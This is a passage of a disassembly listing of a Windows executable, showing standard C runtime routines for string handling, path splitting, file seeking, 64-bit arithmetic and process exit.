xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_413FAA and eax, 81010100h jz short loc_413F68 and eax, 1010100h jnz short loc_413FA4 and esi, 80000000h jnz short loc_413F68 loc_413FA4: ; CODE XREF: sub_413F30+6Aj ; sub_413F30+83j ... pop esi pop edi loc_413FA6: ; CODE XREF: sub_413F30+23j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_413FAA: ; CODE XREF: sub_413F30+5Cj mov eax, [edx-4] cmp al, bl jz short loc_413FE7 test al, al jz short loc_413FA4 cmp ah, bl jz short loc_413FE0 test ah, ah jz short loc_413FA4 shr eax, 10h cmp al, bl jz short loc_413FD9 test al, al jz short loc_413FA4 cmp ah, bl jz short loc_413FD2 test ah, ah jz short loc_413FA4 jmp short loc_413F68 ; --------------------------------------------------------------------------- loc_413FD2: ; CODE XREF: sub_413F30+9Aj pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_413FD9: ; CODE XREF: sub_413F30+92j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_413FE0: ; CODE XREF: sub_413F30+87j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_413FE7: ; CODE XREF: sub_413F30+7Fj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_413F30 endp ; =============== S U B R O U T I N E ======================================= sub_413FEE proc near ; CODE XREF: sub_4065CE+55p ; sub_40E9C5+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] loc_413FF2: ; CODE XREF: sub_413FEE+Cj mov cx, [eax] inc eax inc eax test cx, cx jnz short loc_413FF2 sub eax, [esp+arg_0] sar eax, 1 dec eax retn sub_413FEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414004 proc near ; CODE XREF: sub_4140FA+22p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_4140CB mov ebx, [ebp+arg_C] cmp ebx, esi jz loc_4140F5 mov edi, [ebp+arg_0] cmp [edi+14h], esi jnz short loc_414056 cmp ebx, esi jbe loc_4140F5 loc_414035: ; CODE XREF: sub_414004+4Bj mov ecx, [ebp+arg_8] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_4140F5 inc eax inc edx inc edx cmp eax, ebx jb short loc_414035 jmp loc_4140F5 ; --------------------------------------------------------------------------- loc_414056: ; CODE XREF: sub_414004+27j mov esi, ds:dword_41F0A8 push ebx mov ebx, [ebp+arg_8] push edx push 0FFFFFFFFh push ebx push 9 push dword ptr [edi+4] call esi test eax, eax jnz loc_4140F4 call ds:dword_41F008 cmp eax, 7Ah jz short loc_41408E loc_41407E: ; CODE XREF: sub_414004+C5j ; sub_414004+EEj call sub_417C70 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_4140F5 ; --------------------------------------------------------------------------- loc_41408E: ; CODE XREF: sub_414004+78j mov eax, [ebp+arg_C] mov [ebp+var_4], eax mov eax, ebx loc_414096: ; CODE XREF: sub_414004+AEj mov cl, [eax] dec [ebp+var_4] test cl, cl jz short loc_4140B4 mov edx, [edi+48h] movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_4140AD inc eax loc_4140AD: ; CODE XREF: sub_414004+A6j inc eax cmp [ebp+var_4], 0 jnz short loc_414096 loc_4140B4: ; CODE XREF: sub_414004+99j push [ebp+arg_C] sub eax, ebx push [ebp+arg_4] push eax push ebx push 1 push dword ptr [edi+4] call esi test eax, eax jnz short loc_4140F5 jmp short loc_41407E ; --------------------------------------------------------------------------- loc_4140CB: ; CODE XREF: sub_414004+10j mov eax, [ebp+arg_0] cmp [eax+14h], esi jnz short loc_4140DE push [ebp+arg_8] call sub_416000 pop ecx jmp short loc_4140F5 ; --------------------------------------------------------------------------- loc_4140DE: ; CODE XREF: sub_414004+CDj push esi push esi push 0FFFFFFFFh push [ebp+arg_8] push 9 push dword ptr [eax+4] call ds:dword_41F0A8 cmp eax, esi jz short loc_41407E loc_4140F4: ; CODE XREF: sub_414004+69j dec eax loc_4140F5: ; CODE XREF: sub_414004+1Bj ; sub_414004+2Bj ... pop edi pop esi pop ebx leave retn sub_414004 endp ; =============== S U B R O U T I N E ======================================= sub_4140FA proc near ; CODE XREF: sub_4065CE+19p ; sub_4065CE+49p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_415456 mov eax, [eax+64h] cmp eax, off_42C7BC jz short loc_41410F call sub_41628E loc_41410F: ; CODE XREF: sub_4140FA+Ej push [esp+arg_8] push [esp+4+arg_4] push [esp+8+arg_0] push eax call sub_414004 add esp, 10h retn sub_4140FA endp ; =============== S U B R O U T I N E ======================================= sub_414125 proc near ; CODE XREF: sub_4078FA+4D6Cp arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_41F0B8 test eax, eax jnz short loc_41413B call ds:dword_41F008 jmp short loc_41413D ; --------------------------------------------------------------------------- loc_41413B: ; CODE XREF: sub_414125+Cj xor eax, eax loc_41413D: ; CODE XREF: sub_414125+14j test eax, eax jz short loc_41414C push eax call sub_417C82 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41414C: ; CODE XREF: sub_414125+1Aj xor eax, eax retn sub_414125 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41414F proc near ; CODE XREF: sub_4078FA+4CD6p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push 14h push offset stru_427750 call __SEH_prolog mov esi, [ebp+arg_0] mov [ebp+var_1C], esi push esi call sub_416673 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_418FBC mov [ebp+var_20], eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push esi call sub_414CA3 mov [ebp+var_24], eax push esi push [ebp+var_20] call sub_419044 add esp, 18h or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4141A3 mov eax, [ebp+var_24] call __SEH_epilog retn sub_41414F endp ; =============== S U B R O U T I N E ======================================= sub_4141A3 proc near ; CODE XREF: sub_41414F+46p ; DATA XREF: .rdata:stru_427750o push dword ptr [ebp-1Ch] call sub_4166C5 pop ecx retn sub_4141A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141AD proc near ; CODE XREF: sub_4078FA+3EE6p ; sub_40D1EF+F6p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_416000 cmp eax, 1 pop ecx jb short loc_4141E9 cmp byte ptr [ebx+1], 3Ah jnz short loc_4141E9 mov esi, [ebp+arg_4] test esi, esi jz short loc_4141E5 push 2 push ebx push esi call sub_4195CB add esp, 0Ch and byte ptr [esi+2], 0 loc_4141E5: ; CODE XREF: sub_4141AD+26j inc ebx inc ebx jmp short loc_4141F3 ; --------------------------------------------------------------------------- loc_4141E9: ; CODE XREF: sub_4141AD+19j ; sub_4141AD+1Fj mov eax, [ebp+arg_4] test eax, eax jz short loc_4141F3 and byte ptr [eax], 0 loc_4141F3: ; CODE XREF: sub_4141AD+3Aj ; sub_4141AD+41j and [ebp+arg_0], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov [ebp+var_8], eax mov esi, 0FFh jz short loc_41426B loc_414206: ; CODE XREF: sub_4141AD+88j mov cl, [eax] movzx edx, cl test byte_47A401[edx], 4 jz short loc_414217 inc eax jmp short loc_414231 ; --------------------------------------------------------------------------- loc_414217: ; CODE XREF: sub_4141AD+65j cmp cl, 2Fh jz short loc_41422B cmp cl, 5Ch jz short loc_41422B cmp cl, 2Eh jnz short loc_414231 mov [ebp+var_4], eax jmp short loc_414231 ; --------------------------------------------------------------------------- loc_41422B: ; CODE XREF: sub_4141AD+6Dj ; sub_4141AD+72j lea ecx, [eax+1] mov [ebp+arg_0], ecx loc_414231: ; CODE XREF: sub_4141AD+68j ; sub_4141AD+77j ... inc eax cmp byte ptr [eax], 0 jnz short loc_414206 mov edi, [ebp+arg_0] test edi, edi mov [ebp+var_8], eax jz short loc_41426B cmp [ebp+arg_8], 0 jz short loc_414266 sub edi, ebx cmp edi, esi jb short loc_41424F mov edi, esi loc_41424F: ; CODE XREF: sub_4141AD+9Ej push edi push ebx push [ebp+arg_8] call sub_4195CB mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+var_8] loc_414266: ; CODE XREF: sub_4141AD+98j mov ebx, [ebp+arg_0] jmp short loc_414275 ; --------------------------------------------------------------------------- loc_41426B: ; CODE XREF: sub_4141AD+57j ; sub_4141AD+92j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_414275 and byte ptr [ecx], 0 loc_414275: ; CODE XREF: sub_4141AD+BCj ; sub_4141AD+C3j mov edi, [ebp+var_4] test edi, edi jz short loc_4142C8 cmp edi, ebx jb short loc_4142C8 cmp [ebp+arg_C], 0 jz short loc_4142A5 sub edi, ebx cmp edi, esi jb short loc_41428E mov edi, esi loc_41428E: ; CODE XREF: sub_4141AD+DDj push edi push ebx push [ebp+arg_C] call sub_4195CB mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+var_8] loc_4142A5: ; CODE XREF: sub_4141AD+D7j mov edi, [ebp+arg_10] test edi, edi jz short loc_4142F0 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_4142B5 mov esi, eax loc_4142B5: ; CODE XREF: sub_4141AD+104j push esi push [ebp+var_4] push edi call sub_4195CB add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_4142F0 ; --------------------------------------------------------------------------- loc_4142C8: ; CODE XREF: sub_4141AD+CDj ; sub_4141AD+D1j mov edi, [ebp+arg_C] test edi, edi jz short loc_4142E6 sub eax, ebx cmp eax, esi jnb short loc_4142D7 mov esi, eax loc_4142D7: ; CODE XREF: sub_4141AD+126j push esi push ebx push edi call sub_4195CB add esp, 0Ch and byte ptr [esi+edi], 0 loc_4142E6: ; CODE XREF: sub_4141AD+120j mov eax, [ebp+arg_10] test eax, eax jz short loc_4142F0 and byte ptr [eax], 0 loc_4142F0: ; CODE XREF: sub_4141AD+FDj ; sub_4141AD+119j ... pop edi pop esi pop ebx leave retn sub_4141AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142F5 proc near ; CODE XREF: sub_4078FA+3409p ; sub_4078FA+3436p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 18h push offset stru_427760 call __SEH_prolog mov ebx, [ebp+arg_0] mov edi, ebx mov [ebp+var_1C], ebx cmp [ebp+arg_4], 0 jg short loc_414313 xor eax, eax jmp short loc_41436A ; --------------------------------------------------------------------------- loc_414313: ; CODE XREF: sub_4142F5+18j mov esi, [ebp+arg_8] mov [ebp+var_20], esi push esi call sub_416673 pop ecx and [ebp+ms_exc.disabled], 0 loc_414324: ; CODE XREF: sub_4142F5+64j dec [ebp+arg_4] jz short loc_41435B dec dword ptr [esi+4] js short loc_414338 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41433F ; --------------------------------------------------------------------------- loc_414338: ; CODE XREF: sub_4142F5+37j push esi call sub_417455 pop ecx loc_41433F: ; CODE XREF: sub_4142F5+41j mov [ebp+var_24], eax cmp eax, 0FFFFFFFFh jnz short loc_414351 cmp edi, ebx jnz short loc_41435B and [ebp+var_1C], 0 jmp short loc_41435E ; --------------------------------------------------------------------------- loc_414351: ; CODE XREF: sub_4142F5+50j mov [edi], al inc edi mov [ebp+var_28], edi cmp al, 0Ah jnz short loc_414324 loc_41435B: ; CODE XREF: sub_4142F5+32j ; sub_4142F5+54j and byte ptr [edi], 0 loc_41435E: ; CODE XREF: sub_4142F5+5Aj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_414373 mov eax, [ebp+var_1C] loc_41436A: ; CODE XREF: sub_4142F5+1Cj call __SEH_epilog retn sub_4142F5 endp ; =============== S U B R O U T I N E ======================================= sub_414370 proc near ; DATA XREF: .rdata:stru_427760o mov esi, [ebp-20h] sub_414370 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_414373 proc near ; CODE XREF: sub_4142F5+6Dp push esi call sub_4166C5 pop ecx retn sub_414373 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414380 proc near ; CODE XREF: sub_4078FA+8DAp ; sub_410A22+285p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_4143B2 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_4143B0 jz short loc_4143B2 sub ecx, 2 loc_4143B0: ; CODE XREF: sub_414380+29j not ecx loc_4143B2: ; CODE XREF: sub_414380+9j ; sub_414380+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_414380 endp ; =============== S U B R O U T I N E ======================================= sub_4143B9 proc near ; CODE XREF: sub_414460+CBp ; sub_414906+1Cp arg_0 = dword ptr 4 push offset aMscoree_dll ; "mscoree.dll" call ds:dword_41F078 test eax, eax jz short loc_4143DE push offset aCorexitprocess ; "CorExitProcess" push eax call ds:dword_41F074 test eax, eax jz short loc_4143DE push [esp+arg_0] call eax ; dword_42A034 loc_4143DE: ; CODE XREF: sub_4143B9+Dj ; sub_4143B9+1Dj push [esp+arg_0] call ds:dword_41F02C int 3 ; Trap to Debugger loc_4143E9: ; CODE XREF: sub_419706+Cp push 8 call sub_416901 pop ecx retn sub_4143B9 endp ; =============== S U B R O U T I N E ======================================= sub_4143F2 proc near ; CODE XREF: sub_419738p push 8 call sub_41686D pop ecx retn sub_4143F2 endp ; =============== S U B R O U T I N E ======================================= sub_4143FB proc near ; CODE XREF: .text:loc_414A66p mov eax, off_42C718 test eax, eax jz short loc_414406 call eax ; sub_413498 loc_414406: ; CODE XREF: sub_4143FB+7j push esi push edi mov ecx, offset dword_42A00C mov edi, offset dword_42A024 xor eax, eax cmp ecx, edi mov esi, ecx jnb short loc_414431 loc_41441A: ; CODE XREF: sub_4143FB+30j test eax, eax jnz short loc_41445D mov ecx, [esi] test ecx, ecx jz short loc_414426 call ecx loc_414426: ; CODE XREF: sub_4143FB+27j add esi, 4 cmp esi, edi jb short loc_41441A test eax, eax jnz short loc_41445D loc_414431: ; CODE XREF: sub_4143FB+1Dj push offset sub_419794 call sub_41973E mov esi, offset dword_42A000 mov eax, esi mov edi, offset dword_42A008 cmp eax, edi pop ecx jnb short loc_41445B loc_41444C: ; CODE XREF: sub_4143FB+5Ej mov eax, [esi] test eax, eax jz short loc_414454 call eax loc_414454: ; CODE XREF: sub_4143FB+55j add esi, 4 cmp esi, edi jb short loc_41444C loc_41445B: ; CODE XREF: sub_4143FB+4Fj xor eax, eax loc_41445D: ; CODE XREF: sub_4143FB+21j ; sub_4143FB+34j pop edi pop esi retn sub_4143FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414460 proc near ; CODE XREF: sub_414533+8p ; sub_414544+8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi push 8 call sub_416901 xor esi, esi inc esi cmp dword_479E9C, esi pop ecx jnz short loc_414488 push [ebp+arg_0] call ds:dword_41F0B4 push eax call ds:dword_41F0BC loc_414488: ; CODE XREF: sub_414460+16j cmp [ebp+arg_4], 0 mov al, byte ptr [ebp+arg_8] mov dword_479E98, esi mov byte_479E94, al jnz short loc_4144EE mov ecx, dword_47B670 test ecx, ecx jz short loc_4144CF mov eax, dword_47B66C sub eax, 4 cmp eax, ecx jmp short loc_4144C8 ; --------------------------------------------------------------------------- loc_4144B2: ; CODE XREF: sub_414460+6Dj mov eax, [eax] test eax, eax jz short loc_4144BA call eax loc_4144BA: ; CODE XREF: sub_414460+56j mov eax, dword_47B66C sub eax, 4 cmp eax, dword_47B670 loc_4144C8: ; CODE XREF: sub_414460+50j mov dword_47B66C, eax jnb short loc_4144B2 loc_4144CF: ; CODE XREF: sub_414460+44j mov eax, offset dword_42A028 mov esi, offset dword_42A030 cmp eax, esi mov edi, eax jnb short loc_4144EE loc_4144DF: ; CODE XREF: sub_414460+8Cj mov eax, [edi] test eax, eax jz short loc_4144E7 call eax loc_4144E7: ; CODE XREF: sub_414460+83j add edi, 4 cmp edi, esi jb short loc_4144DF loc_4144EE: ; CODE XREF: sub_414460+3Aj ; sub_414460+7Dj mov eax, offset dword_42A034 mov esi, offset dword_42A03C cmp eax, esi mov edi, eax jnb short loc_41450D loc_4144FE: ; CODE XREF: sub_414460+ABj mov eax, [edi] test eax, eax jz short loc_414506 call eax loc_414506: ; CODE XREF: sub_414460+A2j add edi, 4 cmp edi, esi jb short loc_4144FE loc_41450D: ; CODE XREF: sub_414460+9Cj cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_41451E push 8 call sub_41686D jmp short loc_414530 ; --------------------------------------------------------------------------- loc_41451E: ; CODE XREF: sub_414460+B3j push [ebp+arg_0] mov dword_479E9C, 1 call sub_4143B9 loc_414530: ; CODE XREF: sub_414460+BCj pop ecx pop ebp retn sub_414460 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_414533 proc near ; CODE XREF: .text:00414AB6p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_414460 add esp, 0Ch retn sub_414533 endp ; =============== S U B R O U T I N E ======================================= sub_414544 proc near ; CODE XREF: sub_4148E1+1Cp ; .text:00414AE3p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_414460 add esp, 0Ch retn sub_414544 endp ; =============== S U B R O U T I N E ======================================= sub_414555 proc near ; CODE XREF: .text:loc_414ABBp push 1 push 0 push 0 call sub_414460 add esp, 0Ch retn sub_414555 endp ; =============== S U B R O U T I N E ======================================= sub_414564 proc near ; CODE XREF: .text:loc_414AE8p push 1 push 1 push 0 call sub_414460 add esp, 0Ch retn sub_414564 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_414580 proc near ; CODE XREF: sub_40FD69+3Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_4145A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_4145F1 ; --------------------------------------------------------------------------- loc_4145A1: ; CODE XREF: sub_414580+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_4145AF: ; CODE XREF: sub_414580+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4145AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_4145DA cmp edx, [esp+4+arg_4] ja short loc_4145DA jb short loc_4145E2 cmp eax, [esp+4+arg_0] jbe short loc_4145E2 loc_4145DA: ; CODE XREF: sub_414580+4Aj ; sub_414580+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_4145E2: ; CODE XREF: sub_414580+52j ; sub_414580+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_4145F1: ; CODE XREF: sub_414580+1Fj pop ebx retn 10h sub_414580 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_414600 proc near ; CODE XREF: sub_40FD69+24p ; sub_413820+29p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_414622 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_414663 ; --------------------------------------------------------------------------- loc_414622: ; CODE XREF: sub_414600+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_414630: ; CODE XREF: sub_414600+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_414630 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41465E cmp edx, [esp+8+arg_4] ja short loc_41465E jb short loc_41465F cmp eax, [esp+8+arg_0] jbe short loc_41465F loc_41465E: ; CODE XREF: sub_414600+4Ej ; sub_414600+54j dec esi loc_41465F: ; CODE XREF: sub_414600+56j ; sub_414600+5Cj xor edx, edx mov eax, esi loc_414663: ; CODE XREF: sub_414600+20j pop esi pop ebx retn 10h sub_414600 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_414670 proc near ; CODE XREF: sub_41046C+22Cp ; sub_41046C+285p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = qword ptr 4 cmp dword_47A3E0, 0 jz sub_419AF8 sub esp, 8 stmxcsr [esp+8+var_4] mov eax, [esp+8+var_4] and eax, 1F80h cmp eax, 1F80h jnz short loc_4146A4 fnstcw word ptr [esp+8+var_8] mov ax, word ptr [esp+8+var_8] and ax, 7Fh cmp ax, 7Fh loc_4146A4: ; CODE XREF: sub_414670+23j lea esp, [esp+8] jnz sub_419AF8 jmp short $+2 movq xmm0, [esp+arg_0] movapd xmm2, oword ptr ds:oword_4277A0 movapd xmm1, xmm0 movapd xmm7, xmm0 psrlq xmm0, 34h movd eax, xmm0 andpd xmm0, oword ptr ds:oword_4277D0 psubd xmm2, xmm0 psrlq xmm1, xmm2 test eax, 800h jnz short loc_414732 cmp eax, 3FFh jl short loc_41476A psllq xmm1, xmm2 cmp eax, 432h jg short loc_414703 movq [esp+arg_0], xmm1 fld [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_414703: ; CODE XREF: sub_414670+86j ; sub_414670+E1j ucomisd xmm7, xmm7 jnp short loc_41472D mov edx, 3EDh sub esp, 10h mov [esp+10h+var_4], edx mov edx, esp add edx, 14h mov [esp+10h+var_8], edx mov [esp+10h+var_C], edx mov [esp+10h+var_10], edx call sub_4197D8 add esp, 10h loc_41472D: ; CODE XREF: sub_414670+97j fld [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_414732: ; CODE XREF: sub_414670+74j movq xmm0, [esp+arg_0] psllq xmm1, xmm2 movapd xmm3, xmm0 cmppd xmm0, xmm1, 1 cmp eax, 0BFFh jl short loc_41476D cmp eax, 0C32h jg short loc_414703 andpd xmm0, oword ptr ds:oword_427790 subsd xmm1, xmm0 movq [esp+arg_0], xmm1 fld [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_41476A: ; CODE XREF: sub_414670+7Bj fldz retn ; --------------------------------------------------------------------------- loc_41476D: ; CODE XREF: sub_414670+DAj cmppd xmm3, oword ptr ds:oword_4277C0, 1 orpd xmm3, oword ptr ds:oword_4277C0 andpd xmm3, oword ptr ds:oword_4277B0 movq [esp+arg_0], xmm3 fld [esp+arg_0] retn sub_414670 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414794 proc near ; CODE XREF: sub_41046C+233p ; sub_41046C+28Cp var_20 = dword ptr -20h var_10 = qword ptr -10h var_8 = dword ptr -8 push ebp mov ebp, esp sub esp, 20h and esp, 0FFFFFFF0h fld st fst [esp+20h+var_8] fistp [esp+20h+var_10] fild [esp+20h+var_10] mov edx, [esp+20h+var_8] mov eax, dword ptr [esp+20h+var_10] test eax, eax jz short loc_4147F3 loc_4147B7: ; CODE XREF: sub_414794+69j fsubp st(1), st test edx, edx jns short loc_4147DB fstp [esp+20h+var_20] mov ecx, [esp+20h+var_20] xor ecx, 80000000h add ecx, 7FFFFFFFh adc eax, 0 mov edx, dword ptr [esp+20h+var_10+4] adc edx, 0 jmp short locret_414807 ; --------------------------------------------------------------------------- loc_4147DB: ; CODE XREF: sub_414794+27j fstp [esp+20h+var_20] mov ecx, [esp+20h+var_20] add ecx, 7FFFFFFFh sbb eax, 0 mov edx, dword ptr [esp+20h+var_10+4] sbb edx, 0 jmp short locret_414807 ; --------------------------------------------------------------------------- loc_4147F3: ; CODE XREF: sub_414794+21j mov edx, dword ptr [esp+20h+var_10+4] test edx, 7FFFFFFFh jnz short loc_4147B7 fstp [esp+20h+var_8] fstp [esp+20h+var_8] locret_414807: ; CODE XREF: sub_414794+45j ; sub_414794+5Dj leave retn sub_414794 endp ; =============== S U B R O U T I N E ======================================= sub_414809 proc near ; CODE XREF: sub_414898+22p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h push edi jz short loc_414887 mov edi, [esp+8+arg_8] test edi, edi jz short loc_414828 cmp edi, 1 jz short loc_414828 cmp edi, 2 jnz short loc_414887 loc_414828: ; CODE XREF: sub_414809+13j ; sub_414809+18j and eax, 0FFFFFFEFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_414840 push esi call sub_419CE8 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_414840: ; CODE XREF: sub_414809+28j push esi call sub_41644D mov eax, [esi+0Ch] test al, al pop ecx jns short loc_414856 and eax, 0FFFFFFFCh mov [esi+0Ch], eax jmp short loc_41486A ; --------------------------------------------------------------------------- loc_414856: ; CODE XREF: sub_414809+43j test al, 1 jz short loc_41486A test al, 8 jz short loc_41486A test ah, 4 jnz short loc_41486A mov dword ptr [esi+18h], 200h loc_41486A: ; CODE XREF: sub_414809+4Bj ; sub_414809+4Fj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_419C3D xor ecx, ecx add esp, 0Ch cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_414895 ; --------------------------------------------------------------------------- loc_414887: ; CODE XREF: sub_414809+Bj ; sub_414809+1Dj call sub_417C70 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh loc_414895: ; CODE XREF: sub_414809+7Cj pop edi pop esi retn sub_414809 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414898 proc near ; CODE XREF: sub_410A22+2C6p ; sub_410A22+402p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 0Ch push offset stru_4277E0 call __SEH_prolog push [ebp+arg_0] call sub_416673 pop ecx and [ebp+ms_exc.disabled], 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_414809 add esp, 0Ch mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4148D7 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_414898 endp ; =============== S U B R O U T I N E ======================================= sub_4148D7 proc near ; CODE XREF: sub_414898+31p ; DATA XREF: .rdata:stru_4277E0o push dword ptr [ebp+8] call sub_4166C5 pop ecx retn sub_4148D7 endp ; =============== S U B R O U T I N E ======================================= sub_4148E1 proc near ; CODE XREF: .text:00414A29p ; .text:00414A4Fp ... arg_0 = dword ptr 4 cmp dword_479EA8, 1 jnz short loc_4148EF call sub_419FC1 loc_4148EF: ; CODE XREF: sub_4148E1+7j push [esp+arg_0] call sub_419E4A push 0FFh call off_42C740 pop ecx pop ecx retn sub_4148E1 endp ; =============== S U B R O U T I N E ======================================= sub_414906 proc near ; CODE XREF: .text:004149FFp ; .text:00414A10p arg_0 = dword ptr 4 cmp dword_479EA8, 1 jnz short loc_414914 call sub_419FC1 loc_414914: ; CODE XREF: sub_414906+7j push [esp+arg_0] call sub_419E4A push 0FFh call sub_4143B9 pop ecx pop ecx retn sub_414906 endp ; --------------------------------------------------------------------------- push 60h push offset stru_4277F0 call __SEH_prolog mov edi, 94h mov eax, edi call sub_412DD0 mov [ebp-18h], esp mov esi, esp mov [esi], edi push esi call ds:dword_41F0F8 mov ecx, [esi+10h] mov dword_479E5C, ecx mov eax, [esi+4] mov dword_479E68, eax mov edx, [esi+8] mov dword_479E6C, edx mov esi, [esi+0Ch] and esi, 7FFFh mov dword_479E60, esi cmp ecx, 2 jz short loc_41498A or esi, 8000h mov dword_479E60, esi loc_41498A: ; CODE XREF: .text:0041497Cj shl eax, 8 add eax, edx mov dword_479E64, eax xor esi, esi push esi mov edi, ds:dword_41F078 call edi cmp word ptr [eax], 5A4Dh jnz short loc_4149C5 mov ecx, [eax+3Ch] add ecx, 